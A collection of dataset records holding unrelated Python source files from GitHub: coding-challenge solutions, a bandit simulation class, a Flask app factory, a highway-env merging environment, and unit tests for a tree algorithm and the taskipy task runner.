slow for large trees\n\n\ndef widthOfBinaryTree(self, root):\n queue = [(root, 0, 0)]\n cur_depth = left = ans = 0\n for node, depth, pos in queue:\n if node:\n queue.append((node.left, depth+1, pos*2))\n queue.append((node.right, depth+1, pos*2 + 1))\n if cur_depth != depth:\n cur_depth = depth\n left = pos\n ans = max(pos - left + 1, ans)\n\n return ans\n\n# Found in solution","repo_name":"vincentt117/coding_challenge","sub_path":"lc_max_width_of_bt.py","file_name":"lc_max_width_of_bt.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"45005590377","text":"import numpy as np\n\n\nclass BaseStochasticBandit(object):\n def __init__(self, arms, print_sum=True):\n self.arms = arms\n self.mu_star = 0\n self.a_star = 0\n self.K = len(arms)\n self.real_regret = []\n self.rewards = []\n\n for i in range(self.K):\n if self.arms[i].mu > self.mu_star:\n self.a_star = i\n self.mu_star = self.arms[i].mu\n\n self.gr = 0\n\n if print_sum:\n print(self.summary_str())\n\n def reset(self, print_sum=True):\n self.real_regret = []\n self.rewards = []\n [arm.reset() for arm in self.arms]\n self.gr = 0\n\n if print_sum:\n print(self.summary_str())\n\n def pull_arm(self, a_t):\n if a_t < 0 or a_t > (self.K - 1):\n raise ValueError(\"Trying to Pull Invalid Arm\")\n\n r_t = self.arms[a_t].pull(self.gr)\n # by definition > 0\n delta_t = self.mu_star - self.arms[a_t].mu\n\n if len(self.real_regret) == 0:\n c_real_regret = delta_t\n else:\n c_real_regret = self.real_regret[-1] + delta_t\n\n self.real_regret.append(c_real_regret)\n self.gr = self.gr + 1\n self.rewards.append(r_t)\n return r_t, c_real_regret\n\n def summary_str(self):\n str = f\"Multi-Armed Bandit Problem\\n K={self.K}\\n mu_star = {self.mu_star}\\n a_star = {self.a_star}\\n\"\n for arm in self.arms:\n str = str + f\"\\n{arm.arm_summary_string()}\"\n return str\n\n\nclass RandomizedStochasticBandit(BaseStochasticBandit):\n # generate a new bandit problem when specifying the base class for each arm and a function generating parameters for\n # the bandit\n\n def __init__(self, K, arm_generator):\n arms = [arm_generator() for i in range(K)]\n super().__init__(arms)\n","repo_name":"MrinankSharma/AIMSBandits","sub_path":"src/bandits.py","file_name":"bandits.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29383713787","text":"\"\"\"\nInitialize the flask app with settings.\n\"\"\"\n# Import python modules.\nimport os\nfrom flask import Config, Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_seeder import FlaskSeeder\nfrom dotenv import load_dotenv\n\n# Import created modules.\n\n# Load Environment Variables.\nsrcdir = os.path.abspath(os.path.dirname(__file__))\nrootdir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nload_dotenv(os.path.join(rootdir, '.env'))\n\n# Process some environment variables.\ndatabase_url = os.environ.get('DATABASE_URL', None)\nif database_url and database_url.startswith('postgres://'):\n database_url = database_url.replace('postgres://', 'postgresql://', 1)\nif database_url is None:\n database_url = 'sqlite:///' + os.path.join(srcdir, os.environ.get(\n 'SQLALCHEMY_DATABASE_URI', 'app.sqlite'\n ))\n\n# Global variables.\ndb = SQLAlchemy()\nmigrate = Migrate()\nseeder = FlaskSeeder()\n\ndef create_app(config: Config = None) -> Flask:\n \"\"\"\n Description:\n ------------\n Create the flask app.\n\n Parameters:\n -----------\n config: Config\n The configuration of the flask app.\n\n Returns:\n --------\n Flask\n The flask app.\n \"\"\"\n\n # Initialize the flask app with factory patterns.\n app = Flask(__name__)\n\n # Add configuration to the flask app depending on input and environment.\n if config is None:\n app.config.from_mapping(\n # Flask Configuration.\n DEBUG = os.environ.get('DEBUG', True),\n FLASK_ENV = os.environ.get('FLASK_ENV', 'development'),\n FLASK_APP = os.environ.get('FLASK_APP', 'app.py'),\n SECRET_KEY = os.environ.get('SECRET_KEY', \"mysecret\"),\n UPLOAD_FOLDER = os.path.join(srcdir, os.environ.get('UPLOAD_FOLDER', \"static/uploads\")) ,\n THREADED = os.environ.get('THREADED', False),\n\n # SQLAlchemy Configuration.\n SQLALCHEMY_DATABASE_URI = database_url,\n SQLALCHEMY_TRACK_MODIFICATIONS = os.environ.get(\n 'SQLALCHEMY_TRACK_MODIFICATIONS', False\n ),\n )\n # Inject the global variable with flask app.\n db.init_app(app)\n migrate.init_app(app, db)\n seeder.init_app(app, db)\n\n return app\n","repo_name":"AndhikaRei/RPP_Sentiment","sub_path":"src/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6924161439","text":"import numpy as np\nfrom numpy.core._multiarray_umath import ndarray\n#from gym import GoalEnv\nfrom gym.envs.registration import register\nfrom typing import Tuple\nfrom highway_env import utils\nfrom highway_env.envs.common.abstract import AbstractEnv\nfrom highway_env.road.lane import LineType, StraightLane, SineLane\nfrom highway_env.road.road import Road, RoadNetwork\nfrom highway_env.vehicle.controller import ControlledVehicle\nfrom highway_env.vehicle.objects import Obstacle\nfrom highway_env.vehicle.kinematics import Vehicle\n#from highway_env.vehicle.concontroller import ConcontrolledVehicle\nfrom highway_env.vehicle.other_vehicle import OtherVehicle\nimport pprint\n\nclass MergeEgoEnv(AbstractEnv):\n COLLISION_REWARD: float = -10\n HIGH_SPEED_REWARD: float = 1\n @classmethod\n def default_config(cls) -> dict:\n config = super().default_config()\n config.update({\n \"observation\": {\n \"type\": \"Kinematics\",\n \"vehicles_count\": 4,\n \"absolute\": True,\n \"normalize\":False,\n \"features\":['x', 'y', 'vx', 'vy']\n },\n \"action\": {\n \"type\": \"ContinuousAction\",\n \"longitudinal\": True,\n \"lateral\": True,\n \"acceleration_range\": [-1,1],\n \"steering_range\": [-np.pi / 6, np.pi / 6],\n },\n \"duration\": 20,\n 'simulation_frequency': 25,\n 'policy_frequency': 1,\n\n })\n # 'other_vehicles_type': 'highway_env.vehicle.other_vehicle.OtherVehicle'\n #'other_vehicles_type': 'highway_env.vehicle.kinematics.Vehicle'\n #'other_vehicles_type': 'highway_env.vehicle.kinematics.Vehicle'\n return config\n def _reward(self, action: np.ndarray):\n \"\"\"\n The vehicle is rewarded for driving with high speed on lanes to the right and avoiding collisions\n\n But an additional altruistic penalty is also suffered if any vehicle on the merging lane has a low speed.\n\n :param action: the action performed\n :return: the reward of the state-action transition\n \"\"\"\n #change velocity reward\n if self.vehicle.speed< 33.3 and self.vehicle.speed > 13:\n high_speed_reward=0.01\n else:\n high_speed_reward=-0.02\n if self.vehicle.position[0]>218:\n\n safe=5\n else:\n safe=0\n\n reward = self.COLLISION_REWARD * self.vehicle.crashed+self.HIGH_SPEED_REWARD*high_speed_reward+safe\n return reward\n #return utils.lmap( reward,[-10,1],[0, 1])\n\n def step(self, action: int) -> Tuple[np.ndarray, float, bool, dict]:\n obs, reward, done, info = super().step(action)\n if self.vehicle.position[0]>218:\n done=True\n return obs, reward, done, info\n\n def _is_terminal(self) -> bool:\n \"\"\"The episode is over when a collision occurs or when the access ramp has been passed.\"\"\"\n return self.vehicle.crashed or self.vehicle.position[0] > 218\n\n def _reset(self) -> None:\n self._make_road()\n self._make_vehicles()\n\n def _make_road(self) -> None:\n \"\"\"\n Make a road composed of a straight highway and a merging lane.\n\n :return: the road\n\n net = RoadNetwork()\n\n # Highway lanes\n ends = [150, 80, 20, 80] # Before, converging, merge, after\n c, s, n = LineType.CONTINUOUS_LINE, LineType.STRIPED, LineType.NONE\n y = [0, StraightLane.DEFAULT_WIDTH]\n line_type = [[c, s], [n, c]]\n line_type_merge = [[c, s], [n, s]]\n amplitude = 3.25\n ljk = StraightLane([0, 6.5 + 4 + 4], [ends[0], 6.5 + 4 + 4], line_types=[c, c], forbidden=True)\n lke = SineLane(ljk.position(ends[0], -amplitude), ljk.position(sum(ends[:2]), -amplitude),\n amplitude, 2 * np.pi / (2*ends[1]), np.pi / 2, line_types=[c, c], forbidden=True)\n net.add_lane(\"j\", \"k\", ljk)\n net.add_lane(\"k\", \"b\", lke)\n for i in range(2):\n net.add_lane(\"a\", \"b\", StraightLane([0, y[i]], [sum(ends[:2]), y[i]], line_types=line_type[i]))\n net.add_lane(\"b\", \"c\", StraightLane([sum(ends[:2]), y[i]], [sum(ends[:3]), y[i]], line_types=line_type_merge[i]))\n net.add_lane(\"c\", \"d\", StraightLane([sum(ends[:3]), y[i]], [sum(ends), y[i]], line_types=line_type[i]))\n\n #net.add_lane(\"e\", \"c\", lbc)\n road = Road(network=net, np_random=self.np_random, record_history=self.config[\"show_trajectories\"])\n #road.objects.append(Obstacle(road, lbc.position(ends[2], 0)))\n self.road = road\n\n\n\n Make a road composed of a straight highway and a merging lane.\n\n :return: the road\n \"\"\"\n net = RoadNetwork()\n\n # Highway lanes\n ends = [400, 217, 182, 0] # Before, converging, merge, after\n c, s, n = LineType.CONTINUOUS_LINE, LineType.STRIPED, LineType.NONE\n y = [10.85,14.85]\n #line_type = [[c, s], [n, c]]\n line_type_merge=[[s,s],[n,c]]\n line_type_highway=[[c,s],[n,c]]\n #line_type_merge = [[c, s], [n, s]]\n amplitude = 2\n ljk = StraightLane([0,6.85],[183,6.85],line_types=[c,c], forbidden=True)\n lbc = SineLane(ljk.position(182,amplitude), ljk.position(218, amplitude),\n -amplitude, 2 * np.pi / 72, np.pi / 2, line_types=[c, n], forbidden=True)\n net.add_lane(\"b\", \"c\", lbc)\n net.add_lane(\"a\", \"b\", StraightLane([0, 6.85], [183, 6.85], line_types=[c,n]))\n for i in range(2):\n net.add_lane(\"a\", \"c\", StraightLane([0, y[i]], [218, y[i]], line_types=line_type_merge[i]))\n net.add_lane(\"c\", \"d\", StraightLane([218, y[i]], [400, y[i]], line_types=line_type_highway[i]))\n\n #net.add_lane(\"e\", \"c\", lbc)\n #net.add_lane(\"a\",\"b\",StraightLane([400,4.85],[218,4.85],line_types=line_type_merge,forbidden=True))\n #net.add_lane(\"a\",\"c\",StraightLane([400,8.85],[218,8.85],line_types=line_type_highway))\n #net.add_lane(\"b\",\"c\",StraightLane([218,4.85],[182,4.85],line_type=line_type_merge))\n #net.add_lane(\"b\",\"c\",StraightLane([218,8.85],[182,8.85],line_type=line_type_highway))\n #net.add_lane(\"c\",\"d\",StraightLane([182,8.85],[0,8.85],line_types=line_type_merge))\n road = Road(network=net, np_random=self.np_random, record_history=self.config[\"show_trajectories\"])\n #road.objects.append(Obstacle(road, lbc.position(ends[2], 0)))\n self.road = road\n\n def _make_vehicles(self) -> None:\n\n road = self.road\n ego_vehicle = self.action_type.vehicle_class(road,\n road.network.get_lane((\"a\", \"b\", 0)).position(10, 0), speed=13)\n road.vehicles.append(ego_vehicle)\n #try:\n # ego_vehicle.plan_route_to(\"d\")\n #except AttributeError:\n # pass\n self.vehicle = ego_vehicle\n other_vehicles_type = utils.class_from_path(self.config[\"other_vehicles_type\"])\n spead=self.np_random.randn()\n # road.vehicles.append(other_vehicles_type(road, road.network.get_lane((\"a\", \"c\", 0)).position(200, 0), speed=26+(4*spead)))\n # road.vehicles.append(other_vehicles_type(road, road.network.get_lane((\"a\", \"c\", 0)).position(140, 0), speed=26+(3*spead)))\n\nregister(\n id='merge-v2',\n entry_point='highway_env.envs:MergeEgoEnv',\n)\n","repo_name":"chrisylb/testgithub","sub_path":"envs/merge_ego.py","file_name":"merge_ego.py","file_ext":"py","file_size_in_byte":7382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36056532966","text":"\"\"\"\nGiven a matrix with r rows and c columns, find the maximum score of a path starting at [0, 0] and ending at [r-1, c-1].\nThe score of a path is the minimum value in that path. For example, the score of the path 8 → 4 → 5 → 9 is 4.\nDon't include the first or final entry. You can only move either down or right at any point in time.\n\"\"\"\n\nfrom heapq import *\nimport math\n\n\ndef max_of_min_altitudes_util(grid, i, j):\n rows = len(grid)\n columns = len(grid[0])\n visited = [[-1 for _ in range(columns)] for _ in range(rows)]\n directions = [[0, 1], [1, 0]]\n queue = [(i, j)]\n path_heap = []\n while queue:\n x, y = queue.pop()\n visited[x][y] += 1\n value = grid[i][j]\n heappush(path_heap, value)\n for direction in directions:\n i = x + direction[0]\n j = y + direction[1]\n if 0 <= i < rows-1 and 0 <= j < columns-1:\n value = grid[i][j]\n heappush(path_heap, value)\n if 0 <= i < rows and 0 <= j < columns and visited[x][y] == -1:\n queue.append((i, j))\n return heappop(path_heap)\n\n\ndef max_of_min_altitude(grid):\n if not len(grid) or not len(grid[0]):\n return -1\n max_value = -math.inf\n directions = [[1, 0], [0, 1]]\n start = (0, 0)\n for direction in directions:\n max_value = max(max_of_min_altitudes_util(grid, start[0] + direction[0], start[1] + direction[1]), max_value)\n return max_value\n\n\nif __name__ == '__main__':\n grid = [[5, 1],\n [4, 5]]\n grid_1 = [[1, 2, 3],\n [4, 5, 1]]\n print(max_of_min_altitude(grid))\n print(max_of_min_altitude(grid_1))","repo_name":"smartinsert/CodingProblem","sub_path":"amazon/max_of_min_altitudes.py","file_name":"max_of_min_altitudes.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11313713905","text":"from dataclasses import dataclass\n\nimport pytest\n\nfrom structy.mixed_recall.common import BinaryTreeNode, BinaryTree, NodeValue\nfrom structy.mixed_recall.lowest_common_ancestor import lowest_common_ancestor\n\n\ndef tree1() -> BinaryTree:\n a = BinaryTreeNode(\"a\")\n b = BinaryTreeNode(\"b\")\n c = BinaryTreeNode(\"c\")\n d = BinaryTreeNode(\"d\")\n e = BinaryTreeNode(\"e\")\n f = BinaryTreeNode(\"f\")\n g = BinaryTreeNode(\"g\")\n h = BinaryTreeNode(\"h\")\n\n a.left = b\n a.right = c\n b.left = d\n b.right = e\n c.right = f\n e.left = g\n e.right = h\n\n tree = BinaryTree()\n tree.root = a\n return tree\n\n\ndef tree2() -> BinaryTree:\n l = BinaryTreeNode(\"l\")\n m = BinaryTreeNode(\"m\")\n n = BinaryTreeNode(\"n\")\n o = BinaryTreeNode(\"o\")\n p = BinaryTreeNode(\"p\")\n q = BinaryTreeNode(\"q\")\n r = BinaryTreeNode(\"r\")\n s = BinaryTreeNode(\"s\")\n t = BinaryTreeNode(\"t\")\n\n l.left = m\n l.right = n\n n.left = o\n n.right = p\n o.left = q\n o.right = r\n p.left = s\n p.right = t\n\n tree = BinaryTree()\n tree.root = l\n return tree\n\n\n@dataclass(slots=True)\nclass LowestCommonAncestorTestCase:\n tree: BinaryTree\n val1: NodeValue\n val2: NodeValue\n expected: NodeValue\n\n\n@pytest.fixture\ndef test_cases1() -> list[LowestCommonAncestorTestCase]:\n return [\n LowestCommonAncestorTestCase(\n tree=tree1(),\n val1=\"d\",\n val2=\"h\",\n expected=\"b\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree1(),\n val1=\"d\",\n val2=\"g\",\n expected=\"b\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree1(),\n val1=\"g\",\n val2=\"c\",\n expected=\"a\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree1(),\n val1=\"b\",\n val2=\"g\",\n expected=\"b\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree1(),\n val1=\"f\",\n val2=\"c\",\n expected=\"c\",\n ),\n ]\n\n\n@pytest.fixture\ndef test_cases2() -> list[LowestCommonAncestorTestCase]:\n return [\n LowestCommonAncestorTestCase(\n tree=tree2(),\n val1=\"r\",\n val2=\"p\",\n expected=\"n\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree2(),\n val1=\"m\",\n val2=\"o\",\n expected=\"l\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree2(),\n val1=\"t\",\n val2=\"q\",\n expected=\"n\",\n ),\n LowestCommonAncestorTestCase(\n tree=tree2(),\n val1=\"s\",\n val2=\"p\",\n expected=\"p\",\n ),\n ]\n\n\ndef test_lowest_common_ancestor(\n test_cases1: list[LowestCommonAncestorTestCase], test_cases2: list[LowestCommonAncestorTestCase]\n) -> None:\n for t1 in test_cases1:\n assert lowest_common_ancestor(t1.tree.root, t1.val1, t1.val2) == t1.expected\n\n for t2 in test_cases2:\n assert lowest_common_ancestor(t2.tree.root, t2.val1, t2.val2) == t2.expected\n","repo_name":"baroncurtin2/structy-solutions","sub_path":"python/tests/mixed_recall/test_lowest_common_ancestor.py","file_name":"test_lowest_common_ancestor.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41488893893","text":"import os\nimport random\nimport signal\nimport subprocess\nimport time\nimport unittest\nimport warnings\nfrom os import path\nfrom typing import List, Optional, Tuple\n\nfrom parameterized import parameterized # type: ignore\nimport psutil # type: ignore\n\nfrom tests.utils.project import (\n GenerateProjectFromFixture,\n GenerateProjectWithPyProjectToml,\n TempProjectDir\n)\n\n\nclass TaskipyTestCase(unittest.TestCase):\n def setUp(self):\n self._tmp_dirs: List[TempProjectDir] = []\n\n def tearDown(self):\n for tmp_dir in self._tmp_dirs:\n tmp_dir.clean()\n\n def run_task(\n self,\n task: str,\n args: Optional[List[str]] = None,\n cwd=os.curdir,\n ) -> Tuple[int, str, str]:\n args = args or []\n proc = self.start_taskipy_process(task, args=args, cwd=cwd)\n stdout, stderr = proc.communicate()\n return proc.returncode, stdout.decode(), str(stderr)\n\n def start_taskipy_process(\n self,\n task: str,\n args: Optional[List[str]] = None,\n cwd=os.curdir,\n ) -> subprocess.Popen:\n executable_path = path.abspath('task')\n args = args or []\n return subprocess.Popen([executable_path, task] + args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd)\n\n def create_test_dir_from_fixture(self, fixture_name: str):\n project_generator = GenerateProjectFromFixture(path.join('tests', 'fixtures', fixture_name))\n tmp_dir = TempProjectDir(project_generator)\n self._tmp_dirs.append(tmp_dir)\n return tmp_dir.path\n\n def create_test_dir_with_py_project_toml(self, py_project_toml: str):\n project_generator = GenerateProjectWithPyProjectToml(py_project_toml)\n tmp_dir = TempProjectDir(project_generator)\n self._tmp_dirs.append(tmp_dir)\n return tmp_dir.path\n\n # pylint: disable=invalid-name\n def assertSubstr(self, substr: str, full_string: str):\n self.assertTrue(substr in full_string, msg=f'Expected \\n \"{substr}\"\\nto be in\\n \"{full_string}\"')\n\n # pylint: disable=invalid-name\n def assertNotSubstr(self, substr: str, full_string: str):\n self.assertFalse(substr in full_string, msg=f'Expected \\n \"{substr}\"\\nnot to be in\\n \"{full_string}\"')\n\n # pylint: disable=invalid-name\n def assertSubstrsInOrder(self, substrs: List[str], full_string: str):\n self.assertGreater(len(substrs), 0, 'please provide at least one substr')\n\n for substr_a, substr_b in zip(substrs[:-1], substrs[1:]):\n self.assertSubstr(substr_a, full_string)\n self.assertSubstr(substr_b, full_string)\n self.assertLess(full_string.find(substr_a),\n full_string.find(substr_b),\n msg=f'Expected \\n \"{substr_a}\"\\nto appear before\\n \"{substr_b}\"\\nin\\n \"{full_string}\"')\n\n def assertTerminalTextEqual(self, expected: str, actual: str):\n expected_without_ansi_chars = expected.encode('ascii', 'ignore')\n actual_without_ansi_chars = actual.encode('ascii', 'ignore')\n self.assertEqual(expected_without_ansi_chars, actual_without_ansi_chars)\n\n\nclass RunTaskTestCase(TaskipyTestCase):\n def test_running_task(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n self.run_task('create_hello_txt', cwd=cwd)\n\n with open(path.join(cwd, 'hello.txt'), 'r', encoding='utf-8') as f:\n hello_file_contents = f.readline().strip()\n\n self.assertEqual(hello_file_contents, 'hello, world')\n\n def test_exit_code_matches_task_exit_code(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n exit_code, _, _ = self.run_task('exit_17', cwd=cwd)\n\n self.assertEqual(exit_code, 17)\n\n def test_stdout_contains_task_stdout(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n _, stdout, _ = self.run_task('print_hello_stdout', cwd=cwd)\n\n self.assertSubstr('hello stdout', stdout)\n\n def test_stderr_contains_task_stderr(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n _, _, stderr = self.run_task('print_hello_stderr', cwd=cwd)\n\n self.assertSubstr('hello stderr', stderr)\n\n\nclass TaskPrePostHooksTestCase(TaskipyTestCase):\n def test_running_pre_task_hook(self):\n cwd = self.create_test_dir_from_fixture('project_with_pre_post_task_hooks')\n _, stdout, _ = self.run_task('hello', cwd=cwd)\n\n self.assertSubstrsInOrder(['pre_task', 'hello'], stdout)\n\n def test_running_post_task_hook(self):\n cwd = self.create_test_dir_from_fixture('project_with_pre_post_task_hooks')\n _, stdout, _ = self.run_task('hello', cwd=cwd)\n\n self.assertSubstrsInOrder(['hello', 'post_task'], stdout)\n\n def test_exiting_after_pre_task_hook_if_exit_code_not_0(self):\n cwd = self.create_test_dir_from_fixture('project_with_pre_post_task_hooks')\n exit_code, stdout, _ = self.run_task('hello_failed_pretask', cwd=cwd)\n\n self.assertSubstr('pre_task', stdout)\n self.assertNotSubstr('hello', stdout)\n self.assertEqual(exit_code, 1)\n\n def test_exiting_with_post_task_hook_exit_code_if_not_0(self):\n cwd = self.create_test_dir_from_fixture('project_with_pre_post_task_hooks')\n exit_code, stdout, _ = self.run_task('hello_failed_posttask', cwd=cwd)\n\n self.assertSubstr('post_task', stdout)\n self.assertEqual(exit_code, 1)\n\n\nclass PassArgumentsTestCase(TaskipyTestCase):\n def test_running_task_with_positional_arguments(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_accept_arguments')\n some_random_number = random.randint(1, 1000)\n exit_code, stdout, _ = self.run_task('echo_number', args=[f'{some_random_number}'], cwd=cwd)\n\n self.assertSubstr(f'the number is {some_random_number}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_running_task_with_named_arguments(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_accept_arguments')\n exit_code, stdout, _ = self.run_task('echo_named', args=['-h'], cwd=cwd)\n\n self.assertSubstr('got a named argument -h', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_running_task_with_multiple_arguments(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_accept_arguments')\n args = ['one', 'two', 'three', 'four', 'five']\n exit_code, stdout, _ = self.run_task('echo_args_count', args=args, cwd=cwd)\n\n self.assertSubstr('the argument count is 5', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_running_task_with_arguments_with_spaces(self):\n cwd = self.create_test_dir_from_fixture('project_with_task_that_checks_args_passed_with_spaces')\n name = 'Roy Sommer'\n age = random.randrange(1, 100)\n exit_code, stdout, _ = self.run_task('identify', args=['--full-name', name, '--age', f'{age}'], cwd=cwd)\n\n self.assertSubstr(f'name: {name} age: {age}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_running_task_arguments_not_passed_to_pre_hook(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_accept_arguments')\n some_random_number = random.randint(1, 1000)\n exit_code, stdout, _ = self.run_task('echo_on_prehook', args=[f'{some_random_number}'], cwd=cwd)\n\n self.assertSubstr('the number in prehook is', stdout)\n self.assertNotSubstr(f'the number in prehook is {some_random_number}', stdout)\n self.assertEqual(exit_code, 0)\n\n def test_running_task_arguments_not_passed_to_post_hook(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_that_accept_arguments')\n some_random_number = random.randint(1, 1000)\n exit_code, stdout, _ = self.run_task('echo_on_posthook', args=[f'{some_random_number}'], cwd=cwd)\n\n self.assertSubstr('the number in posthook is', stdout)\n self.assertNotSubstr(f'the number in posthook is {some_random_number}', stdout)\n self.assertEqual(exit_code, 0)\n\n\nclass ListTasksTestCase(TaskipyTestCase):\n project_tasks_output = \"\\n\".join([\n \"one echo first task\",\n \"two echo second task\",\n \"three echo third task\",\n ])\n\n def test_running_task_list(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_to_list')\n exit_code, stdout, _ = self.run_task('--list', cwd=cwd)\n\n self.assertTerminalTextEqual(self.project_tasks_output, stdout.strip())\n self.assertEqual(exit_code, 0)\n\n def test_running_task_list_with_shorthand(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_to_list')\n exit_code, stdout, _ = self.run_task('-l', cwd=cwd)\n\n self.assertTerminalTextEqual(self.project_tasks_output, stdout.strip())\n self.assertEqual(exit_code, 0)\n\n def test_running_task_list_before_name(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_to_list')\n # anything following the flag should be ignored\n exit_code, stdout, _ = self.run_task('--list', ['one'], cwd=cwd)\n\n self.assertTerminalTextEqual(self.project_tasks_output, stdout.strip())\n self.assertEqual(exit_code, 0)\n\n def test_running_task_list_with_arg(self):\n cwd = self.create_test_dir_from_fixture('project_with_tasks_to_list')\n # when --list follows after task name it should be passed as an argument\n exit_code, stdout, _ = self.run_task('one', ['--list'], cwd=cwd)\n expected = \"first task --list\"\n\n self.assertTerminalTextEqual(expected, stdout.strip())\n self.assertEqual(exit_code, 0)\n\n def test_running_task_list_no_tasks(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('--list', cwd=cwd)\n\n self.assertTerminalTextEqual('no tasks found. create your first task by adding it to your pyproject.toml file under [tool.taskipy.tasks]', stdout.strip())\n self.assertEqual(exit_code, 127)\n\n def test_running_task_list_no_tasks_section(self):\n py_project_toml = ''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('--list', cwd=cwd)\n\n self.assertTerminalTextEqual('no tasks found. add a [tool.taskipy.tasks] section to your pyproject.toml', stdout.strip())\n self.assertEqual(exit_code, 127)\n\n\nclass TaskDescriptionTestCase(TaskipyTestCase):\n def test_running_task_with_description(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n print_age = { cmd = \"echo age is 29\", help = \"prints the age\" }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n _, stdout, _ = self.run_task('print_age', cwd=cwd)\n\n self.assertSubstr('age is 29', stdout)\n\n def test_listing_task_with_description(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n print_age = { cmd = \"echo age is 29\", help = \"prints the age\" }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n _, stdout, _ = self.run_task('--list', cwd=cwd)\n\n self.assertSubstr('prints the age', stdout)\n\n def test_reject_task_for_not_having_cmd(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n print_age = { help = \"prints the age\" }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('print_age', cwd=cwd)\n\n self.assertEqual(exit_code, 1)\n self.assertSubstr('the task item does not have the \"cmd\" property', stdout)\n\n def test_allow_task_to_not_have_help(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n print_age = { cmd = \"echo age is 29\" }\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('print_age', cwd=cwd)\n\n self.assertEqual(exit_code, 0)\n self.assertSubstr('age is 29', stdout)\n\n def test_reject_task_that_is_not_string_nor_object(self):\n py_project_toml = '''\n [tool.taskipy.tasks]\n print_age = 5\n '''\n cwd = self.create_test_dir_with_py_project_toml(py_project_toml)\n exit_code, stdout, _ = self.run_task('print_age', cwd=cwd)\n\n self.assertEqual(exit_code, 1)\n self.assertSubstr('tasks must be strings, or dicts that contain { cmd, help, use_vars }', stdout)\n\n\nclass TaskRunFailTestCase(TaskipyTestCase):\n def test_exiting_with_code_127_and_printing_if_task_not_found(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n exit_code, stdout, _ = self.run_task('task_that_does_not_exist', cwd=cwd)\n\n self.assertSubstr('could not find task \"task_that_does_not_exist\"', stdout)\n self.assertEqual(exit_code, 127)\n\n def test_exiting_with_code_127_and_printing_if_no_arg_is_passed(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_and_tasks')\n executable_path = path.abspath('task')\n proc = subprocess.Popen(\n executable_path,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=cwd\n )\n stdout, _ = proc.communicate()\n\n self.assertSubstr('usage: task', stdout.decode())\n self.assertEqual(proc.returncode, 127)\n\n def test_exiting_with_code_127_and_printing_if_no_tasks_section(self):\n cwd = self.create_test_dir_from_fixture('project_with_pyproject_without_tasks_section')\n exit_code, stdout, _ = self.run_task('task_that_does_not_exist', cwd=cwd)\n\n self.assertSubstr('no tasks found. add a [tool.taskipy.tasks] section to your pyproject.toml', stdout)\n self.assertEqual(exit_code, 127)\n\n def test_exiting_with_code_1_and_printing_if_no_pyproject_toml_file_found(self):\n cwd = self.create_test_dir_from_fixture('project_without_pyproject')\n exit_code, stdout, _ = self.run_task('some_task', cwd=cwd)\n\n self.assertSubstr('no pyproject.toml file found in this directory or parent directories', stdout)\n self.assertEqual(exit_code, 1)\n\n def test_exiting_with_code_1_and_printing_if_pyproject_toml_file_is_malformed(self):\n cwd = self.create_test_dir_from_fixture('project_with_malformed_pyproject')\n exit_code, stdout, _ = self.run_task('some_task', cwd=cwd)\n\n self.assertSubstr('pyproject.toml file is malformed and could not be read', stdout)\n self.assertEqual(exit_code, 1)\n\n\nclass InterruptingTaskTestCase(TaskipyTestCase):\n def setUp(self):\n super().setUp()\n\n # suppress resource warnings, as they are false positives caused by psutil\n warnings.simplefilter('ignore', 